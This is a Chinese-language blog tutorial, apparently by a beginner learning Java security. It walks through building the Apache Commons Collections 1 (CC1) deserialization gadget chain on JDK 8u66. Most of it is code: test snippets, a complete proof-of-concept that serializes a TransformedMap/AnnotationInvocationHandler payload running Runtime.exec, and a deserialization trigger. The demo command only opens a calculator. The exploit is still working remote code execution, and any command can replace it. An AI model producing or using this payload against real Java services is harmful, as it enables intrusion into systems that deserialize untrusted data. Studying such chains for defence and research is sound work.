前言
CC1链有两种写法,我这种写法跟ysoserial里的写法不一样,另一种写法写在另一篇文章。
cc1链要求java版本小于jdk8u71
我这里用的JDK版本是8u66
因为在高版本这条链子最后的annotationInvocationHandler类readObject之后,memberValues小版本有值,高版本是空
依赖
工欲善其事,必先利其器
关于apache commons collections的依赖,我推荐直接用maven装,这样方便快捷。在你的IDEA里,新建一个项目,在构建系统里选择Maven即可。
找到你项目下的pom.xml文件,这是maven获取依赖的配置文件,对于CC链的依赖,我们把以下代码写入保存即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
   | <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">     <modelVersion>4.0.0</modelVersion>
      <groupId>org.example</groupId>     <artifactId>CC</artifactId>     <version>1.0-SNAPSHOT</version>
      <properties>         <maven.compiler.source>8</maven.compiler.source>         <maven.compiler.target>8</maven.compiler.target>         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>     </properties>
      <dependencies>         <dependency>             <groupId>commons-collections</groupId>             <artifactId>commons-collections</artifactId>             <version>3.2.1</version>         </dependency>
          <dependency>             <groupId>commons-beanutils</groupId>             <artifactId>commons-beanutils</artifactId>             <version>1.9.2</version>         </dependency>         <dependency>             <groupId>org.javassist</groupId>             <artifactId>javassist</artifactId>             <version>3.22.0-GA</version>         </dependency>     </dependencies>
  </project>
 
  | 
 
如果maven下载的包里是已经编译好的.class文件,那么可以在maven的设置里选择下载java和注释文件,这样才方便我们的调试。
至此,环境依赖的问题就解决了。
链子构建
入口类:Transformer类
1
   | org.apache.commons.collections.functors  –Commons Collections自定义的一组功能类
 
  | 
 
1 2 3
   | public interface Transformer {     public Object transform(Object input); }
 
  | 
 
这个类接受一个对象,并对传入的对象进行一些操作。
在这个类的引用里有一个InvokerTransformer类

这个类接受三个参数:方法名、参数类型、参数。并在transform方法里进行反射调用。这里三个参数都是我们可控的,完全可以任意方法调用。
更重要的是,这个类是Serializable的,可以被序列化。
所以这个类就是我们链子的终点。
测试测试这个类:
1 2 3
   | public static void main(String[] args) throws Exception {     InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); }
 
  | 
 
我们调用exec方法,参数类型字符串,参数值是calc
找到终点后逆向寻找,看看哪里调用了transform方法。就是下图的O.aaa方法

最终确定了TransformedMap类调用transform方法并可以利用。
它的checkSetValue方法调用了transform方法。这里的value应该是Runtime.getRuntime()对象。
我们看看这个类的构造函数
1 2 3 4 5
   | protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {         super(map);         this.keyTransformer = keyTransformer;         this.valueTransformer = valueTransformer;     }
 
  | 
 
这个构造函数是protected,所以得让它自己调用自己(本类调用)。它接受三个参数:Obj.map,keyTransformer ,valueTransformer。
而valueTransformer跟transform的调用有关,我们找找哪里也调用了valueTransformer。
在这个类里,有一个静态方法:
1 2 3
   | public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {     return new TransformedMap(map, keyTransformer, valueTransformer); }
 
  | 
 
这个方法new 了它自己的类,这里可以作为valueTransformer类的入口。
1 2 3 4 5
   | InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});     HashMap<Object,Object> inmap = new HashMap<>();    
 
  TransformedMap.decorate(inmap,null,invokerTransformer);   
 
  | 
 
new 一个TransformedMap对象后我们需要找找哪里调用了checkSetValue方法。
只有一处调用了,就是TransformedMap的父类AbstractInputCheckedMapDecorator类里有一个MapEntry类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   | static class MapEntry extends AbstractMapEntryDecorator {
           private final AbstractInputCheckedMapDecorator parent;
      protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {         super(entry);         this.parent = parent;     }
      public Object setValue(Object value) {         value = parent.checkSetValue(value);                     return entry.setValue(value);     } }
 
  | 
 
正常来讲,只要遍历了被修饰过的map,就能走到MapEntry类,也就会调用MapEntry类的setValue方法(传进去的value是Runtime.getRuntime()对象)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
  import java.util.HashMap; import java.util.Map;
  public class test {     public static void main(String[] arge) throws Exception {         Runtime r = Runtime.getRuntime();              InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"});             HashMap<Object,Object> inmap = new HashMap<>();             inmap.put("key","value");          
 
          Map<Object,Object> outmap = TransformedMap.decorate(inmap,null,invokerTransformer);            for(Map.Entry entry: outmap.entrySet()){                       entry.setValue(r);                           }     } }
 
  | 
 
我们来run一下这段代码。

弹计算器了,说明我们走到现在,这条链子是没问题的。

现在我们找找,谁的readObject里面调用了(Map.Entry)setValue
在AnnotationInvocationHandler类的readObject里找到了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
   | private void readObject(java.io.ObjectInputStream s)         throws java.io.IOException, ClassNotFoundException {         s.defaultReadObject();
          AnnotationType annotationType = null;         try {             annotationType = AnnotationType.getInstance(type);         } catch(IllegalArgumentException e) {
              throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");         }
          Map<String, Class<?>> memberTypes = annotationType.memberTypes();
          for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {                        String name = memberValue.getKey();             Class<?> memberType = memberTypes.get(name);             if (memberType != null) {                 Object value = memberValue.getValue();                 if (!(memberType.isInstance(value) ||                       value instanceof ExceptionProxy)) {                     memberValue.setValue(                                         new AnnotationTypeMismatchExceptionProxy(                             value.getClass() + "[" + value + "]").setMember(                                 annotationType.members().get(name)));                 }             }         }     } }
 
  | 
 
更巧的是,AnnotationInvocationHandler类是可序列化的。那这里明显就是最终出口了。

我们看看它的构造函数:
1 2 3 4
   | AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {         this.type = type;         this.memberValues = memberValues;     }
 
  | 
 
它接受两个参数,第一个参数是Class,它继承了Annotation,Annotation在java里是注解。即@Override
第二个参数是Map,我们可控,我们就可以把我们设计好的TransformedMap传进去。
还有一点,我们注意这个类的声明,它并没有写public,没写就是default类型。只能在它自己的包底下才能访问到。所以我们只能通过反射获取到,不能直接获取。
1 2 3 4 5
   | Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);      constructorhandler.setAccessible(true);          Object obj = constructorhandler.newInstance(Override.class,outmap);      serialize(obj);
 
  | 
 
如果写到这里。我们的链子应该大概完成了,但是这里我们还需要解决三个问题。
问题
1、上文中说过,setValue里的value应该是Runtime.getRuntime()对象。但是在AnnotationInvocationHandler类里的setValue里是给定的一个对象,我们好像不可控。

2、还是关于Runtime.getRuntime()对象的,这里我们的链子里Runtime.getRuntime()对象是我们自己new的,但其实这个对象是不能被序列化的。(不是Serializable的)

3、在最后的AnnotationInvocationHandler类里readObject方法里还需要进两个if,这个我们下文分析。

分析&解决
序列化的问题
对于问题Runtime.getRuntime()对象不能序列化的问题,它虽然不能序列化,但是他的原型class可以。

他的构造器也是私有的(也就是所谓的单例模式,这里不再赘述),但是Runtime类里有个静态方法getRuntime()正好返回了Runtime类的对象。

我们先写一个正常的反射:
1 2 3 4 5 6
   | Class c = Runtime.class;            Method getRuntime = c.getMethod("getRuntime",null);         Runtime r = (Runtime) getRuntime.invoke(null,null);         
  Method exec = c.getMethod("exec",String.class);      exec.invoke(r,"calc");           
 
  | 
 
类似的,因为我们最后需要TransformedMap对象,所以我们围绕invokerTransformer来写这样的一条反射链
我们可以利用InvokerTransformer调用getMethod方法,让其在Runtime.class对象上调用getRuntime方法:
1
   | Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
 
  | 
 

getMethod的参数是String和Class数组,所以InvokerTransformer第二个参数是new Class[]{String.class,Class[].class}
拿到getRuntime方法后,又对其调用了它的invoke方法。
我们可以利用InvokerTransformer在getRuntime上调用invoke方法
1
   | Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
 
  | 
 

invoke的参数是Object和Object数组,所以InvokerTransformer第二个参数是new Class[]{Object.class,Object[].class}。invoke的参数值是空的,传入两个Null即可。
第三步就是在Runtime对象上调用exec方法执行命令。
1
   | new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
 
  | 
 
至此我们就实现了Transformer的循环调用。
但是这样写会很复杂,我们需要写很多函数,而Transformer类中有一个ChainedTransformer专门就是干这个的。
1 2 3 4 5 6 7 8 9 10 11
   | public ChainedTransformer(Transformer[] transformers) {                         super();         iTransformers = transformers;     }
      public Object transform(Object object) {                                   for (int i = 0; i < iTransformers.length; i++) {             object = iTransformers[i].transform(object);         }         return object;     }
 
  | 
 
所以我们可以把上面的InvokerTransformer写成Transformer数组,再传入ChainedTransformer即可。
1 2 3 4 5 6 7
   |        Transformer[] transformers = new Transformer[]{                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})        };        ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);          
 
  | 
 
运行以上代码,成功弹计算器,说明序列化这个问题我们搞定了!
关于两个if的问题
我们可以调试看看。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
   | import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
  import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
  public class test {     public static void main(String[] arge) throws Exception {
          Transformer[] transformers = new Transformer[]{                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})         };         ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
          HashMap<Object,Object> inmap = new HashMap<>();          inmap.put("key","value");          Map<Object,Object> outmap = TransformedMap.decorate(inmap,null,chainedTransformer);   
          Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");              Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);              constructorhandler.setAccessible(true);         Object obj = constructorhandler.newInstance(Override.class,outmap);          serialize(obj);         unserialize("serialize");     }     public static void serialize(Object obj) throws IOException {         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));         oos.writeObject(obj);     }     public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{         ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));         Object obj = ois.readObject();         return obj;     } }
 
  | 
 

断点打在AnnotationInvocationHandler的readObject里,我们发现这里它annotationType = AnnotationType.getInstance(type); 就是我们传入的注释,也就是Overried。
然后Map<String, Class<?>> memberTypes = annotationType.memberTypes();
获取了注释里的值。这里是Overried里的值。

但是Override里的值是空的。所以下面的if判断里的memberType是空,就根本没进去。所以我们需要把Override换一个有值的注释。


Target是有值的,那么我们就把Override换成Target。
但是我们执行后发现这里的memberType还是空的。

我们注意分析分析代码
1 2 3
   | String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) {}
 
  | 
 
这里的memberValue其实是我们传入map的键值对。

这里的name是在memberValue里找键值对里的键(这里就是key)。然后第二行,在memberTypes里看看有没有这个键,有就让memberType赋值,就不是空了。
我们刚刚改过,memberTypes = annotationType.memberTypes();这里的memberTypes的值其实是我们传入注释里的值,我们刚刚看Target注释里的值是value。所以我们需要memberValue里键值对里的键的值是value即可。
所以,我们只需要把inmap.put(“key”,”value”);改成inmap.put(“value”,”aaa”);即可。
第二个if判断键值对是否能强转,不能强转就进入。我们这里是强转不了的,所以直接进入了。
setValue里的value不可控的问题
其实Transformer里还有一个类,是叫ConstantTransformer
1 2 3 4 5 6 7 8
   | public ConstantTransformer(Object constantToReturn) {                   super();     iConstant = constantToReturn; }
  public Object transform(Object input) {     return iConstant;                    }
 
  | 
 
所以,我们只需要在最后那个点调用的是它的transform方法,传入我们最开始的传入对象Runtime.class无论中间有什么修饰变化,它最后返回Runtime.class,然后传给InvokerTransformer反射调用来rce了。
他同样是Transformer里的,所以我们可以一并写进Transformer数组里。
1 2 3 4 5 6
   | Transformer[] transformers = new Transformer[]{         new ConstantTransformer(Runtime.class),         new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),         new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),         new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"}) };
 
  | 
 
完整POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
   | import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
  public class CC1 {     public static void main(String[] args) throws Exception {
                   Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"})         };         ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
                   HashMap<Object,Object> inmap = new HashMap<>();         inmap.put("value","aaa");         Map outmap = TransformedMap.decorate(inmap,null,chainedTransformer);
                   Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");         Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);         constructorhandler.setAccessible(true);         Object obj = constructorhandler.newInstance(Target.class,outmap);         serialize(obj);     }
      public static void serialize(Object obj) throws IOException{         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));         oos.writeObject(obj);     } }
 
  | 
 
以上代码生产一个名为serialize的序列化文件。
我们反序列化触发一下试试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | import java.io.FileInputStream; import java.io.IOException; import java.io.ObjectInputStream;
  public class unserializeTest {     public static void main(String[] arge) throws Exception{     unserialize("serialize");     }     public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{         ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));         Object obj = ois.readObject();         return obj;     } }
 
  | 
 

弹计算器了!
至此,我们的Apache Commons Collections 反序列化1链终于完成了!(鼓掌)
链子思路
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
   | AnnotationInvocationHandler类 	-> readObject() 		-> setValue()
  TransformedMap类 	-> MapEntry类 		->checkSetValue() 	-> setValue() 	 ChainedTransformer类 	-> transform(Transformers[]) 		-> ConstantTransformer类 		-> transform(Runtime.class)
  InvokerTransformer类 	-> transform(Runtime.class) 		-> getClass() 		-> getMethod() 		-> invoke() 			->exec()
 
  | 
 
后记
由于周一周二我满课=-=,这篇文章只有下午六点下课了才能写一写,加上我周天学习CC1链的那天,总共花费了三天时间。这三天相当与每天都复习了一遍链子的思路和写法,感觉很神奇,这种到底是怎么发现的呢=-=
刚开始学java反序列化还要下大功夫,因为很难,我也很笨学得慢,大师傅讲的CC1链50分钟的视频我来回看了三遍才看懂。有了一点心得体会想要写到博客分享给大家。
作为初学者,最了解初学者の痛。我想尽量完善这篇文章,写的尽量详细,让我自己和所有刚开始学java安全的小白师傅们都有个愉快的开始。
最后的最后,附上我最开始写的,虽杂乱无章,却又珍贵无比的 代码X笔记:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
   | import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
  public class CC1 {     public static void main(String[] args) throws Exception {
 
 
 
 
 
 
 
 
 
 
 
                   
 
 
 
 
                   Transformer[] transformers = new Transformer[]{                 new ConstantTransformer(Runtime.class),                 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),                 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"mate-calc"})         };         ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
 
 
 
 
                   HashMap<Object,Object> inmap = new HashMap<>();         inmap.put("value","aaa");                                                  Map outmap = TransformedMap.decorate(inmap,null,chainedTransformer);                           Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");                Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class);              constructorhandler.setAccessible(true);         Object obj = constructorhandler.newInstance(Target.class,outmap);           serialize(obj);     }
      public static void serialize(Object obj) throws IOException{         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));         oos.writeObject(obj);     } }
 
  |